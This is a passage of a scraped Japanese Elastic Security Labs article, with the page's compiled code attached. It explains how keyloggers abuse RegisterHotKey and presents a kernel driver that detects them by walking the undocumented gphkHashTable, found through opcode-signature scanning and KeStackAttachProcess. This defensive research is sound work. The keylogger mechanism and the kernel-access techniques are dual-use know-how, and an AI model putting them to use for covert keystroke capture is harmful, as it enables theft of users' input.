APIを使ってホットキーとして登録し、再びユーザからの入力を待ちます。以上が、ホットキー型キーロガーの仕組みです。\n\n## **ホットキー型キーロガーの検知手法**\n\n ホットキー型キーロガーとは何かやその仕組みについて理解したところで、次にこれをどのように検知するかについてを説明します。\n\n### ETWではRegisterHotKey APIは監視していない\n\n 以前の記事で書いた方法と同様に、まずはホットキー型キーロガーも[Event Tracing for Windows](https://learn.microsoft.com/ja-jp/windows/win32/etw/about-event-tracing) (ETW) を利用して検知が出来ないかを検討・調査しました。その結果、ETWでは`RegisterHotKey` APIや`UnRegisterHotKey` APIを監視していないことがすぐに判明しました。Microsoft-Windows-Win32k プロダイバーのマニフェストファイルの調査に加えて、`RegisterHotKey`のAPIの内部(具体的にはwin32kfull.sysにある`NtUserRegisterHotKey`)をリバースエンジニアリングをしたものの、これらのAPIが実行される際、ETWのイベントを送信しているような形跡は残念ながら見つかりませんでした。 \n 以下の図は、ETWで監視対象となっている`GetAsyncKeyState`(`NtUserGetAsyncKeyState`)と、`NtUserRegisterHotKey`の逆コンパイル結果を比較したものを示しています。`NtUserGetAsyncKeyState`の方には関数の冒頭に、`EtwTraceGetAsyncKeyState`というETWのイベント書き出しに紐づく関数が存在しますが、`NtUserRegisterHotKey`には存在しないのが見て取れます。\n\n\n \n Microsoft-Windows-Win32k 以外のETWプロバイダーを使って、間接的に`RegisterHotKey` APIを呼び出しを監視する案もでたものの、次に紹介する、ETWを使わず「ホットキーテーブル」を利用した検知手法が、`RegisterHotKey` APIを監視するのと同様かそれ以上の効果が得られることが分かり、最終的にはこの案を採用することにしました。\n\n### ホットキーテーブル(gphkHashTable)を利用した検知\n\n ETWでは`RegisterHotKey` APIの呼び出しを直接監視出来ないことが判明した時点で、ETWを利用せずに検知する方法を検討することにしました。検討の最中、「そもそも登録されたホットキーの情報がどこかに保存されているのではないか?」「もし保存されているとしたら、その情報が検知に使えるのではないか?」という考えに至りました。その仮説をもとに調査した結果、すぐに`NtUserRegisterHotkey`内にて`gphkHashTable`というラベルがつけられたハッシュテーブルを発見することが出来ました。Microsoft社が公開しているオンラインのドキュメント類を調査しても`gphkHashTable`についての情報はなかったため、これは未公開(undocumented)のカーネルデータ構造のようです。\n\n\n\n リバースエンジニアリングをした結果、このハッシュテーブルは、登録されたホットキーの情報を持つオブジェクトを保存しており、各オブジェクトは`RegisterHotKey` APIの引数にて指定されたvirtual-key codeや修飾子の情報を保持していることが分かりました。以下の図(右)がホットキーのオブジェクト(**HOT\\_KEY**と命名)の構造体の定義の一部と、図(左)が実際にwindbg上で`gphkHashTable`にアクセスした上で、登録されたホットキーのオブジェクトを見た時の様子です。\n\n\n\n リバースエンジニアリングをした結果をまとめると、ghpkHashTableは図4のような構造になっていることがわかりました。具体的には、`RegisterHotKey` APIで指定されたvirtual-key codeに対して0x80の余剰演算をした結果をハッシュテーブルのインデックスにしていました。そして同じインデックスを持つホットキーオブジェクトを連結リストで結ぶことで、virtual-key codeが同じでも、修飾子が違うホットキーの情報も保持・管理出来るようになっています。 \n\n\n\n つまり`gphkHashTable`で保持している全てのHOT\\_KEYオブジェクトを走査すれば、登録されている全ホットキーの情報が取得できるということになります。取得した結果、主要なキー(例えば単体の英数字キー)全てが個々のホットキーとして登録されていれば、ホットキー型キーロガーが動作していることを示す強い根拠となります。\n\n## 検知ツールを作成する\n\n では次に、実際に検知ツールの方を実装していきます。`gphkHashTable`自体はカーネル空間に存在するため、ユーザモードのアプリケーションからはアクセス出来ません。そのため検知のために、デバイスドライバを書くことにしました。具体的には`gphkHashTable`のアドレスを取得した後、ハッシュテーブルに保存されている全オブジェクトを走査した上で、ホットキーとして登録されている英数字キーの数が一定数以上ならば、ホットキー型キーロガーが存在する可能性がある事を知らせてくるデバイスドライバを作成することにしました。\n\n### gphkHashTableのアドレスを取得する方法\n\n 検知ツールを作成するにあたり、最初に直面した課題としては「gphkHashTableのアドレスをどのようにして取得すればよいのか?」ということです。悩んだ結果、**win32kfull.sys**のメモリ空間内でgphkHashTableにアクセスしている命令から直接gphkHashTableのアドレスを取得することにしました。 \n リバースエンジニアリングした結果、`IsHotKey`という関数内では、関数の冒頭部分にあるlea命令(lea rbx, gphkHashTable)にて、gphkHashTableのアクセスしていることがわかりました。この命令のオプコードバイト(0x48, 0x8d, 0x1d)部分をシグネチャに該当行を探索して、得られた32bit(4バイト)のオフセットからgphkHashTableのアドレスを算出することにしました。 \n\n\n \n 加えて、IsHotKey関数自体もエクスポート関数でないため、そのアドレスも何らかの方法で取得しなければいけません。そこでさらなるリバースエンジニアリングの結果、`EditionIsHotKey`というエクスポートされた関数内で、`IsHotKey`関数が呼ばれていることがわかりました。そこでEditionIsHotKey関数から前述と同様の方法で、IsHotKey関数のアドレスを算出することにしました。(補足ですが、**win32kfull.sys**のベースアドレスに関しては`PsLoadedModuleList`というAPIで探せます。)\n\n ## **win32kfull.sys**のメモリ空間にアクセスするには \n \n **gphkHashTable**のアドレスを取得する方法について検討が終わったところで、実際に**win32kfull.sys**のメモリ空間にアクセスして、**gphkHashTable**のアドレスを取得するためのコードを書き始めました。この時直面した課題としては、**win32kfull.sys**は「セッションドライバ」であるという点ですが、ここではまず「セッション」とは何かについて、簡単に説明します。 \n Windowsでは一般的にユーザがログインした際、ユーザ毎に個別に「セッション」(1番以降のセッション番号)が割り当てられます。かなり大雑把に説明すると、最初にログインしたユーザには「セッション1」が割り当てられ、その状態で別のユーザがログインした場合今度は「セッション2」が割り当てられます。そして各ユーザは個々のセッション内で、それぞれのデスクトップ環境を持ちます。 \n この時、セッション別(ログインユーザ別)に管理するべきカーネルのデータは、カーネルメモリ内の「セッション空間」というセッション別の分離したメモリ空間で管理され、win32k ドライバが管理しているようなGUIオブジェクト(ウィンドウ、マウス・キーボード入力の情報等)もこれに該当します。これにより、ユーザ間で画面や入力情報が混ざることがないのです。(かなり大まかな説明のため、より詳しくセッションについて知りたい方はJames Forshaw氏の[こちらのブログ記事](https://googleprojectzero.blogspot.com/2016/01/raising-dead.html)を読むことをおすすめします。) \n\n\n \n以上の背景から、**win32kfull.sys**は「セッションドライバ」と呼ばれています。つまり、例えば最初のログインユーザのセッション(セッション1)内で登録されたホットキーの情報は、同じセッション内からしかアクセスできないということです。ではどうすれば良いのかというと、このような場合、[KeStackAttachProcess](https://learn.microsoft.com/ja-jp/windows-hardware/drivers/ddi/ntifs/nf-ntifs-kestackattachprocess)が利用できることが[知られています](https://eversinc33.com/posts/kernel-mode-keylogging.html)。 \n KeStackAttachProcessは、現在のスレッドを指定のプロセスのアドレス空間に一時的にアタッチすることが出来ます。この時、対象のセッションにいるGUIプロセス、より正確には**win32kfull.sys**をロードしているプロセスにアタッチすることが出来れば、対象セッションの**win32kfull.sys**やそのデータにアクセスすることが出来ます。今回は、ログインユーザが1ユーザであることを仮定して、各ユーザのログオン操作を担うプロセスである**winlogon.exe**を探してアタッチすることにしました。\n\n### 登録されているホットキーを確認する\n\n **winlogon.exe**のプロセスにアタッチし、**gphkHashTable**のアドレスを特定出来た後は、後は**gphkHashTable**をスキャンして登録されたホットキーを確認するだけです。以下がその抜粋版のコードです。\n\n```c\nBOOL CheckRegisteredHotKeys(_In_ const PVOID\u0026 gphkHashTableAddr)\n{\n-[skip]-\n // Cast the gphkHashTable address to an array of pointers.\n PVOID* tableArray = static_cast\u003cPVOID*\u003e(gphkHashTableAddr);\n // Iterate through the hash table entries.\n for (USHORT j = 0; j \u003c 0x80; j++)\n {\n PVOID item = tableArray[j];\n PHOT_KEY hk = reinterpret_cast\u003cPHOT_KEY\u003e(item);\n if (hk)\n {\n CheckHotkeyNode(hk);\n }\n }\n-[skip]-\n}\n\nVOID CheckHotkeyNode(_In_ const PHOT_KEY\u0026 hk)\n{\n if (MmIsAddressValid(hk-\u003epNext)) {\n CheckHotkeyNode(hk-\u003epNext);\n }\n\n // Check whether this is a single numeric hotkey.\n if ((hk-\u003evk \u003e= 0x30) \u0026\u0026 (hk-\u003evk \u003c= 0x39) \u0026\u0026 (hk-\u003emodifiers1 == 0))\n {\n KdPrint((\"[+] hk-\u003eid: %u hk-\u003evk: %x\\n\", hk-\u003eid, hk-\u003evk));\n hotkeyCounter++;\n }\n // Check whether this is a single alphabet hotkey.\n else if ((hk-\u003evk \u003e= 0x41) \u0026\u0026 (hk-\u003evk \u003c= 0x5A) \u0026\u0026 (hk-\u003emodifiers1 == 0))\n {\n KdPrint((\"[+] hk-\u003eid: %u hk-\u003evk: %x\\n\", hk-\u003eid, hk-\u003evk));\n hotkeyCounter++;\n }\n-[skip]-\n}\n....\nif (CheckRegisteredHotKeys(gphkHashTableAddr) \u0026\u0026 hotkeyCounter \u003e= 36)\n{\n detected = TRUE;\n goto Cleanup;\n}\n```\n\n コード自体は難しくなく、ハッシュテーブルの各インデックスの先頭から順に、連結リストをたどりながらすべての**HOT\\_KEY**オブジェクトにアクセスして、登録されているホットキーが単体の英数字キーか否かを確認しています。作成した検知ツールでは、すべての単体英数字キーがホットキーとして登録 \nされていた場合、ホットキー型キーロガーが存在するとしてアラートを挙げます。また、今回実装の簡略化のため、英数字単体キーのホットキーのみを対象としていますが、SHIFTなどの修飾子付きのホットキーも容易に調べることが可能です。\n\n### Hotkeyzを検知する\n\n 検知ツール(Hotkey-based Keylogger Detector)は以下にて公開しました。使い方も以下に記載していますので、興味ある方はぜひご覧ください。加えて本研究は[NULLCON Goa 2025](https://nullcon.net/goa-2025/speaker-windows-keylogger-detection)でも発表しましたので、その[発表スライド](https://docs.google.com/presentation/d/1B0Gdfpo-ER2hPjDbP_NNoGZ8vXP6X1_BN7VZCqUgH8c/edit?usp=sharing)も併せてご覧いただけます。\n\n*[https://github.com/AsuNa-jp/HotkeybasedKeyloggerDetector](https://github.com/AsuNa-jp/HotkeybasedKeyloggerDetector)\n\n 最後に、本ツールを用いて実際にHotkeyzを検知する様子を収録したデモ動画が以下になります。\n\n[DEMO\\_VIDEO.mp4](https://drive.google.com/file/d/1koGLqA5cPlhL8C07MLg9VDD9-SW2FM9e/view?usp=drive_link)\n\n## 謝辞\n\n [前回の記事](https://www.elastic.co/security-labs/protecting-your-devices-from-information-theft-keylogger-protection-jp)を読んで下さり、その上でホットキー型キーロガーの手法について教えてくださり、その上そのPoCとなるHotkeyzを公開してくださった、Jonathan Bar Or氏に心より感謝致します。\n","code":"var Component=(()=\u003e{var a=Object.create;var o=Object.defineProperty;var g=Object.getOwnPropertyDescriptor;var k=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,y=Object.prototype.hasOwnProperty;var w=(r,e)=\u003e()=\u003e(e||r((e={exports:{}}).exports,e),e.exports),f=(r,e)=\u003e{for(var t in e)o(r,t,{get:e[t],enumerable:!0})},h=(r,e,t,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let i of k(e))!y.call(r,i)\u0026\u0026i!==t\u0026\u0026o(r,i,{get:()=\u003ee[i],enumerable:!(s=g(e,i))||s.enumerable});return r};var m=(r,e,t)=\u003e(t=r!=null?a(p(r)):{},h(e||!r||!r.__esModule?o(t,\"default\",{value:r,enumerable:!0}):t,r)),u=r=\u003eh(o({},\"__esModule\",{value:!0}),r);var d=w((P,l)=\u003e{l.exports=_jsx_runtime});var K={};f(K,{default:()=\u003eT,frontmatter:()=\u003eH});var n=m(d()),H={title:\"\\u672A\\u516C\\u958B\\u306E\\u30AB\\u30FC\\u30CD\\u30EB\\u30C7\\u30FC\\u30BF\\u69CB\\u9020\\u3092\\u4F7F\\u3063\\u305F\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306E\\u691C\\u77E5\",slug:\"detecting-hotkey-based-keyloggers-jp\",date:\"2025-02-04\",description:\"\\u672C\\u8A18\\u4E8B\\u3067\\u306F\\u3001\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u3068\\u306F\\u4F55\\u304B\\u306B\\u3064\\u3044\\u3066\\u3068\\u3001\\u305D\\u306E\\u691C\\u77E5\\u65B9\\u6CD5\\u306B\\u3064\\u3044\\u3066\\u7D39\\u4ECB\\u3057\\u307E\\u3059\\u3002\\u5177\\u4F53\\u7684\\u306B\\u306F\\u3001\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u304C\\u3069\\u306E\\u3088\\u3046\\u306B\\u3057\\u3066\\u30AD\\u30FC\\u5165\\u529B\\u3092\\u76D7\\u307F\\u53D6\\u308B\\u306E\\u304B\\u3092\\u89E3\\u8AAC\\u3057\\u305F\\u5F8C\\u3001\\u30AB\\u30FC\\u30CD\\u30EB\\u30EC\\u30D9\\u30EB\\u306B\\u5B58\\u5728\\u3059\\u308B\\u672A\\u516C\\u958B(Undocumented)\\u306E\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u30C6\\u30FC\\u30D6\\u30EB\\u3092\\u6D3B\\u7528\\u3057\\u305F\\u691C\\u77E5\\u624B\\u6CD5\\u306B\\u3064\\u3044\\u3066\\u8AAC\\u660E\\u3057\\u307E\\u3059\\u3002\",author:[{slug:\"asuka-nakajima\"}],image:\"Security Labs Images 12.jpg\",category:[{slug:\"security-research\"},{slug:\"detection-science\"}],tags:[\"detection engineering\",\"threat detection\"]};function c(r){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",br:\"br\",h3:\"h3\",strong:\"strong\",em:\"em\",code:\"code\",pre:\"pre\",img:\"img\"},r.components);return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(e.h2,{id:\"\\u672A\\u516C\\u958B\\u306E\\u30AB\\u30FC\\u30CD\\u30EB\\u30C7\\u30FC\\u30BF\\u69CB\\u9020\\u3092\\u4F7F\\u3063\\u305F\",children:\"\\u672A\\u516C\\u958B\\u306E\\u30AB\\u30FC\\u30CD\\u30EB\\u30C7\\u30FC\\u30BF\\u69CB\\u9020\\u3092\\u4F7F\\u3063\\u305F\"}),`\n`,(0,n.jsx)(e.h2,{id:\"\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306E\\u691C\\u77E5\",children:\"\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306E\\u691C\\u77E5\"}),`\n`,(0,n.jsx)(e.p,{children:\"\\u672C\\u8A18\\u4E8B\\u3067\\u306F\\u3001\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u3068\\u306F\\u4F55\\u304B\\u306B\\u3064\\u3044\\u3066\\u3068\\u3001\\u305D\\u306E\\u691C\\u77E5\\u65B9\\u6CD5\\u306B\\u3064\\u3044\\u3066\\u7D39\\u4ECB\\u3057\\u307E\\u3059\\u3002\\u5177\\u4F53\\u7684\\u306B\\u306F\\u3001\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u304C\\u3069\\u306E\\u3088\\u3046\\u306B\\u3057\\u3066\\u30AD\\u30FC\\u5165\\u529B\\u3092\\u76D7\\u307F\\u53D6\\u308B\\u306E\\u304B\\u3092\\u89E3\\u8AAC\\u3057\\u305F\\u5F8C\\u3001\\u30AB\\u30FC\\u30CD\\u30EB\\u30EC\\u30D9\\u30EB\\u306B\\u5B58\\u5728\\u3059\\u308B\\u672A\\u516C\\u958B(Undocumented)\\u306E\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u30C6\\u30FC\\u30D6\\u30EB\\u3092\\u6D3B\\u7528\\u3057\\u305F\\u691C\\u77E5\\u624B\\u6CD5\\u306B\\u3064\\u3044\\u3066\\u8AAC\\u660E\\u3057\\u307E\\u3059\\u3002\"}),`\n`,(0,n.jsx)(e.h2,{id:\"\\u306F\\u3058\\u3081\\u306B\",children:\"\\u306F\\u3058\\u3081\\u306B\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u3000Elastic Security Labs\\u3067\\u306F2024\\u5E745\\u6708\\u3001\",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/integrations/current/endpoint.html\",rel:\"nofollow\",children:\"Elastic Defend\"}),\"\\u306E\\u30D0\\u30FC\\u30B8\\u30E7\\u30F3 8.12 \\u3088\\u308A\\u8FFD\\u52A0\\u3055\\u308C\\u305F\\u3001Windows\\u4E0A\\u3067\\u52D5\\u4F5C\\u3059\\u308B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306E\\u691C\\u77E5\\u3092\\u5F37\\u5316\\u3059\\u308B\\u65B0\\u6A5F\\u80FD\\u3092\\u7D39\\u4ECB\\u3059\\u308B\",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/protecting-your-devices-from-information-theft-keylogger-protection-jp\",rel:\"nofollow\",children:\"\\u8A18\\u4E8B\"}),\"\\u3092\\u516C\\u958B\\u3057\\u307E\\u3057\\u305F \\u3002\\u5177\\u4F53\\u7684\\u306B\\u306F\\u3001\\u30B5\\u30A4\\u30D0\\u30FC\\u653B\\u6483\\u3067\\u4E00\\u822C\\u7684\\u306B\\u4F7F\\u308F\\u308C\\u308B4\\u7A2E\\u985E\\u306E\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC(\\u30DD\\u30FC\\u30EA\\u30F3\\u30B0\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u3001\\u30D5\\u30C3\\u30AD\\u30F3\\u30B0\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u3001Raw Input Model\\u3092\\u7528\\u3044\\u305F\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u3001DirectInput\\u3092\\u7528\\u3044\\u305F\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC)\\u3092\\u6319\\u3052\\u3001\\u305D\\u308C\\u3089\\u306B\\u5BFE\\u3059\\u308B\\u79C1\\u305F\\u3061\\u304C\\u63D0\\u4F9B\\u3057\\u305F\\u691C\\u77E5\\u624B\\u6CD5\\u306B\\u3064\\u3044\\u3066\\u3092\\u89E3\\u8AAC\\u3057\\u307E\\u3057\\u305F\\u3002\\u5177\\u4F53\\u7684\\u306B\\u306F\",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/ja-jp/windows-hardware/drivers/devtest/event-tracing-for-windows--etw-\",rel:\"nofollow\",children:\"Event Tracing for Windows\"}),\" (ETW)\\u306B\\u304A\\u3051\\u308B\\u3001Microsoft-Windows-Win32k\\u30D7\\u30ED\\u30D0\\u30A4\\u30C0\\u3092\\u7528\\u3044\\u305F\\u632F\\u308B\\u821E\\u3044\\u691C\\u77E5\\u306E\\u65B9\\u6CD5\\u306B\\u3064\\u3044\\u3066\\u3092\\u7D39\\u4ECB\\u3057\\u307E\\u3057\\u305F\\u3002\",(0,n.jsx)(e.br,{}),`\n`,\"\\u8A18\\u4E8B\\u516C\\u958B\\u5F8C\\u3001\\u5927\\u5909\\u5149\\u6804\\u306A\\u3053\\u3068\\u306B\\u8A18\\u4E8B\\u304CMicrosoft\\u793E\\u306EPrincipal Security Researcher\\u3067\\u3042\\u308B\",(0,n.jsx)(e.a,{href:\"https://jonathanbaror.com/\",rel:\"nofollow\",children:\"Jonathan Bar Or\"}),\"\\u6C0F\\u306E\\u76EE\\u306B\\u7559\\u307E\\u308A\\u3001\\u300C\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u3082\\u3042\\u308B\\u300D\\u3068\\u3044\\u3063\\u305F\\u8CB4\\u91CD\\u306A\\u3054\\u610F\\u898B\\u3068\\u3068\\u3082\\u306B\\u3001\\u305D\\u306EPoC\\u30B3\\u30FC\\u30C9\\u3082\\u516C\\u958B\\u3057\\u3066\\u304F\\u3060\\u3055\\u308A\\u307E\\u3057\\u305F\\u3002\\u305D\\u3053\\u3067\\u672C\\u8A18\\u4E8B\\u3067\\u306F\\u3001\\u6C0F\\u304C\\u516C\\u958B\\u3057\\u305F\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306EPoC\\u30B3\\u30FC\\u30C9\\u3067\\u3042\\u308B\\u300C\",(0,n.jsx)(e.a,{href:\"https://github.com/yo-yo-yo-jbo/hotkeyz\",rel:\"nofollow\",children:\"Hotkeyz\"}),\"\\u300D \\u3092\\u3082\\u3068\\u306B\\u3001\\u672C\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306E\\u691C\\u77E5\\u624B\\u6CD5\\u306E\\u4E00\\u6848\\u306B\\u3064\\u3044\\u3066\\u3092\\u8FF0\\u3079\\u305F\\u3044\\u3068\\u601D\\u3044\\u307E\\u3059\\u3002\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306E\\u6982\\u8981\",children:\"\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306E\\u6982\\u8981\"}),`\n`,(0,n.jsx)(e.h3,{id:\"\\u305D\\u3082\\u305D\\u3082\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u3068\\u306F\\u4F55\\u304B\",children:\"\\u305D\\u3082\\u305D\\u3082\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u3068\\u306F\\u4F55\\u304B\\uFF1F\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u3000\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u306B\\u3064\\u3044\\u3066\\u8AAC\\u660E\\u3059\\u308B\\u524D\\u306B\\u3001\\u307E\\u305A\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u3068\\u306F\\u4F55\\u304B\\u3092\\u89E3\\u8AAC\\u3057\\u307E\\u3059\\u3002\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u3068\\u306F\\u3001\\u30AD\\u30FC\\u30DC\\u30FC\\u30C9\\u30B7\\u30E7\\u30FC\\u30C8\\u30AB\\u30C3\\u30C8\\u306E\\u4E00\\u7A2E\\u3067\\u3042\\u308A\\u3001\\u30B3\\u30F3\\u30D4\\u30E5\\u30FC\\u30BF\\u306B\\u304A\\u3044\\u3066\\u3001\\u7279\\u5B9A\\u306E\\u6A5F\\u80FD\\u3092\\u76F4\\u63A5\\u547C\\u3073\\u51FA\\u3057\\u3066\\u5B9F\\u884C\\u3055\\u305B\\u308B\\u30AD\\u30FC\\u307E\\u305F\\u306F\\u30AD\\u30FC\\u306E\\u7D44\\u307F\\u5408\\u308F\\u305B\\u306E\\u3053\\u3068\\u3092\\u6307\\u3057\\u307E\\u3059\\u3002\\u4F8B\\u3048\\u3070Windows\\u306B\\u304A\\u3044\\u3066\\u30BF\\u30B9\\u30AF(\\u30A6\\u30A3\\u30F3\\u30C9\\u30A6)\\u3092\\u5207\\u308A\\u66FF\\u3048\\u308B\\u969B\\u306B\\u300C\",(0,n.jsx)(e.strong,{children:\"Alt + Tab\"}),\"\\u300D\\u3092\\u62BC\\u3057\\u3066\\u3044\\u308B\\u4EBA\\u3082\\u591A\\u3044\\u304B\\u3068\\u601D\\u3044\\u307E\\u3059\\u3002\\u3053\\u306E\\u6642\\u4F7F\\u3063\\u3066\\u3044\\u308B\\u3053\\u306E\\u300C\",(0,n.jsx)(e.strong,{children:\"Alt + Tab\"}),\"\\u300D\\u304C\\u3001\\u30BF\\u30B9\\u30AF\\u5207\\u308A\\u66FF\\u3048\\u6A5F\\u80FD\\u3092\\u76F4\\u63A5\\u547C\\u3073\\u51FA\\u3059\\u300C\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u300D\\u306B\\u3042\\u305F\\u308A\\u307E\\u3059\\u3002\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.em,{children:\"(\\u6CE8: \\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u4EE5\\u5916\\u306B\\u3082\\u3001\\u30AD\\u30FC\\u30DC\\u30FC\\u30C9\\u30B7\\u30E7\\u30FC\\u30C8\\u30AB\\u30C3\\u30C8\\u306F\\u5B58\\u5728\\u3057\\u307E\\u3059\\u304C\\u3001\\u672C\\u8A18\\u4E8B\\u3067\\u306F\\u305D\\u308C\\u3089\\u306F\\u5BFE\\u8C61\\u5916\\u3067\\u3059\\u3002\\u307E\\u305F\\u672C\\u8A18\\u4E8B\\u306B\\u8A18\\u8F09\\u306E\\u4E8B\\u9805\\u306F\\u3059\\u3079\\u3066\\u3001\\u7B46\\u8005\\u304C\\u691C\\u8A3C\\u306B\\u5229\\u7528\\u3057\\u305F\\u74B0\\u5883\\u3067\\u3042\\u308B\\u3001\\u4EEE\\u60F3\\u5316\\u30D9\\u30FC\\u30B9\\u306E\\u30BB\\u30AD\\u30E5\\u30EA\\u30C6\\u30A3\\u304C\\u52D5\\u4F5C\\u3057\\u3066\\u3044\\u306A\\u3044Windows 10 version 22H2 OS Build 19045.5371\\u304C\\u524D\\u63D0\\u306B\\u306A\\u308A\\u307E\\u3059\\u3002\\u4ED6\\u306EWindows\\u306E\\u30D0\\u30FC\\u30B8\\u30E7\\u30F3\\u3067\\u306F\\u307E\\u305F\\u5185\\u90E8\\u306E\\u69CB\\u9020\\u3084\\u6319\\u52D5\\u304C\\u9055\\u3046\\u5834\\u5408\\u304C\\u3042\\u308B\\u3053\\u3068\\u3001\\u3054\\u6CE8\\u610F\\u304F\\u3060\\u3055\\u3044\\u3002)\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"\\u4EFB\\u610F\\u306E\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u304C\\u767B\\u9332\\u3067\\u304D\\u308B\\u3053\\u3068\\u3092\\u60AA\\u7528\\u3059\\u308B\",children:\"\\u4EFB\\u610F\\u306E\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u304C\\u767B\\u9332\\u3067\\u304D\\u308B\\u3053\\u3068\\u3092\\u60AA\\u7528\\u3059\\u308B\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u3000\\u5148\\u307B\\u3069\\u306E\\u4F8B\\u306E\\u3088\\u3046\\u306BWindows\\u3067\\u4E88\\u3081\\u8A2D\\u5B9A\\u3055\\u308C\\u305F\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u3092\\u4F7F\\u3046\\u4EE5\\u5916\\u306B\\u3082\\u3001\\u5B9F\\u306F\\u81EA\\u5206\\u3067\\u4EFB\\u610F\\u306E\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u3092\\u767B\\u9332\\u3059\\u308B\\u3053\\u3068\\u3082\\u53EF\\u80FD\\u3067\\u3059\\u3002\\u767B\\u9332\\u65B9\\u6CD5\\u306F\\u69D8\\u3005\\u3042\\u308A\\u307E\\u3059\\u304C\\u3001\",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/ja-jp/windows/win32/api/winuser/nf-winuser-registerhotkey\",rel:\"nofollow\",children:\"RegisterHotKey\"}),\"\\u3068\\u3044\\u3046Windows API\\u3092\\u4F7F\\u3048\\u3070\\u3001\\u6307\\u5B9A\\u306E\\u30AD\\u30FC\\u3092\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u3068\\u3057\\u3066\\u767B\\u9332\\u3059\\u308B\\u3053\\u3068\\u304C\\u3067\\u304D\\u307E\\u3059\\u3002\\u4F8B\\u3048\\u3070\\u3001\\u4EE5\\u4E0B\\u304C\",(0,n.jsx)(e.code,{children:\"RegisterHotKey\"}),\" API\\u3092\\u4F7F\\u3063\\u3066\\u300CA\\u300D(\",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/ja-jp/windows/win32/inputdev/virtual-key-codes\",rel:\"nofollow\",children:\"virtual-key code\"}),\"\\u30670x41)\\u30AD\\u30FC\\u3092\\u3001\\u30B0\\u30ED\\u30FC\\u30D0\\u30EB\\u306A\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u3068\\u3057\\u3066\\u767B\\u9332\\u3059\\u308B\\u305F\\u3081\\u306E\\u30B3\\u30FC\\u30C9\\u306E\\u4F8B\\u3067\\u3059\\u3002\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-c\",children:`/*\nBOOL RegisterHotKey(\n [in, optional] HWND hWnd, \n [in] int id,\n [in] UINT fsModifiers,\n [in] UINT vk\n);\n*/\nRegisterHotKey(NULL, 1, 0, 0x41);\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u3000\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u3068\\u3057\\u3066\\u767B\\u9332\\u5F8C\\u3001\\u767B\\u9332\\u3055\\u308C\\u305F\\u30AD\\u30FC\\u304C\\u62BC\\u4E0B\\u3055\\u308C\\u305F\\u5834\\u5408\\u3001\",(0,n.jsx)(e.code,{children:\"RegisterHotKey\"}),\" 